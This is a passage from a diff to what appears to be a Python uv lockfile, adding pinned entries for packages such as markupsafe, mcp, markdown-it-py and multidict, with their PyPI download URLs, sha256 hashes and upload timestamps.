+sdist = { url = "https://files.pythonhosted.org/packages/10/2f/97589876ea967487978071c9042518d28b958d87b17dceb7cdc1d881f963/macholib-1.16.4.tar.gz", hash = "sha256:f408c93ab2e995cd2c46e34fe328b130404be143469e41bc366c807448979362", size = 59427, upload-time = "2025-11-22T08:28:38.373Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c7/d1/a9f36f8ecdf0fb7c9b1e78c8d7af12b8c8754e74851ac7b94a8305540fc7/macholib-1.16.4-py2.py3-none-any.whl", hash = "sha256:da1a3fa8266e30f0ce7e97c6a54eefaae8edd1e5f86f3eb8b95457cae90265ea", size = 38117, upload-time = "2025-11-22T08:28:36.939Z" },
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "4.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "mdurl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
+]
+
+[package.optional-dependencies]
+linkify = [
+ { name = "linkify-it-py" },
+]
+
+[[package]]
+name = "markupsafe"
+version = "3.0.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" },
+ { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" },
+ { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" },
+ { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" },
+ { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" },
+ { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" },
+ { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" },
+ { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" },
+ { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" },
+ { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" },
+ { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" },
+ { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" },
+ { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" },
+ { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" },
+ { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" },
+ { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" },
+ { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" },
+ { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" },
+ { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" },
+ { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" },
+ { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" },
+ { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" },
+ { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" },
+ { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" },
+ { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" },
+ { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" },
+ { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" },
+ { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" },
+]
+
+[[package]]
+name = "mcp"
+version = "1.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "httpx" },
+ { name = "httpx-sse" },
+ { name = "jsonschema" },
+ { name = "pydantic" },
+ { name = "pydantic-settings" },
+ { name = "pyjwt", extra = ["crypto"] },
+ { name = "python-multipart" },
+ { name = "pywin32", marker = "sys_platform == 'win32'" },
+ { name = "sse-starlette" },
+ { name = "starlette" },
+ { name = "typing-extensions" },
+ { name = "typing-inspection" },
+ { name = "uvicorn", marker = "sys_platform != 'emscripten'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/6e/77/9450b8f251a13affb6281997d0523c4615f8a8b35d0b21ff30db3a5aac9d/mcp-1.28.1.tar.gz", hash = "sha256:d51e36a5f5644faea4f85ea649bfffa6bc6c26770d42798ad6a3de3d2ba69683", size = 638501, upload-time = "2026-06-26T12:57:29.093Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e2/5e/d118fce19f87a2e7d8101c35c8ae0ec289098a4df0ff244cec23e415aca0/mcp-1.28.1-py3-none-any.whl", hash = "sha256:2726bca5e7193f61c5dde8b12500a6de2d9acf6d1a1c0be9e8c2e706437991df", size = 222620, upload-time = "2026-06-26T12:57:27.218Z" },
+]
+
+[[package]]
+name = "mdit-py-plugins"
+version = "0.6.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/59/fc/f8d0863f8862f25602c0404d75568e89fb6b4109804645e5cdfb1be5cf56/mdit_py_plugins-0.6.1.tar.gz", hash = "sha256:a2bca0f039f39dbd35fb74ae1b5f998608c437463371f0ff7f49a19a17a114d0", size = 56114, upload-time = "2026-05-13T09:03:38.91Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a5/69/6da5581c6a7fede7dc261bf4e67d6adca4196f176b43288b55b3db395b6e/mdit_py_plugins-0.6.1-py3-none-any.whl", hash = "sha256:214c82fb2ac524472ab6a5bcab1de80f73b50443e187f401bfd77efbc7c6481d", size = 66663, upload-time = "2026-05-13T09:03:37.76Z" },
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
+]
+
+[[package]]
+name = "multidict"
+version = "6.7.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d", size = 102010, upload-time = "2026-01-26T02:46:45.979Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8d/9c/f20e0e2cf80e4b2e4b1c365bf5fe104ee633c751a724246262db8f1a0b13/multidict-6.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a90f75c956e32891a4eda3639ce6dd86e87105271f43d43442a3aedf3cddf172", size = 76893, upload-time = "2026-01-26T02:43:52.754Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/cf/18ef143a81610136d3da8193da9d80bfe1cb548a1e2d1c775f26b23d024a/multidict-6.7.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3fccb473e87eaa1382689053e4a4618e7ba7b9b9b8d6adf2027ee474597128cd", size = 45456, upload-time = "2026-01-26T02:43:53.893Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/65/1caac9d4cd32e8433908683446eebc953e82d22b03d10d41a5f0fefe991b/multidict-6.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b0fa96985700739c4c7853a43c0b3e169360d6855780021bfc6d0f1ce7c123e7", size = 43872, upload-time = "2026-01-26T02:43:55.041Z" },
+ { url = "https://files.pythonhosted.org/packages/cf/3b/d6bd75dc4f3ff7c73766e04e705b00ed6dbbaccf670d9e05a12b006f5a21/multidict-6.7.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cb2a55f408c3043e42b40cc8eecd575afa27b7e0b956dfb190de0f8499a57a53", size = 251018, upload-time = "2026-01-26T02:43:56.198Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/80/c959c5933adedb9ac15152e4067c702a808ea183a8b64cf8f31af8ad3155/multidict-6.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb0ce7b2a32d09892b3dd6cc44877a0d02a33241fafca5f25c8b6b62374f8b75", size = 258883, upload-time = "2026-01-26T02:43:57.499Z" },
+ { url = "https://files.pythonhosted.org/packages/86/85/7ed40adafea3d4f1c8b916e3b5cc3a8e07dfcdcb9cd72800f4ed3ca1b387/multidict-6.7.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c3a32d23520ee37bf327d1e1a656fec76a2edd5c038bf43eddfa0572ec49c60b", size = 242413, upload-time = "2026-01-26T02:43:58.755Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/57/b8565ff533e48595503c785f8361ff9a4fde4d67de25c207cd0ba3befd03/multidict-6.7.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9c90fed18bffc0189ba814749fdcc102b536e83a9f738a9003e569acd540a733", size = 268404, upload-time = "2026-01-26T02:44:00.216Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/50/9810c5c29350f7258180dfdcb2e52783a0632862eb334c4896ac717cebcb/multidict-6.7.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:da62917e6076f512daccfbbde27f46fed1c98fee202f0559adec8ee0de67f71a", size = 269456, upload-time = "2026-01-26T02:44:02.202Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/8d/5e5be3ced1d12966fefb5c4ea3b2a5b480afcea36406559442c6e31d4a48/multidict-6.7.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bfde23ef6ed9db7eaee6c37dcec08524cb43903c60b285b172b6c094711b3961", size = 256322, upload-time = "2026-01-26T02:44:03.56Z" },
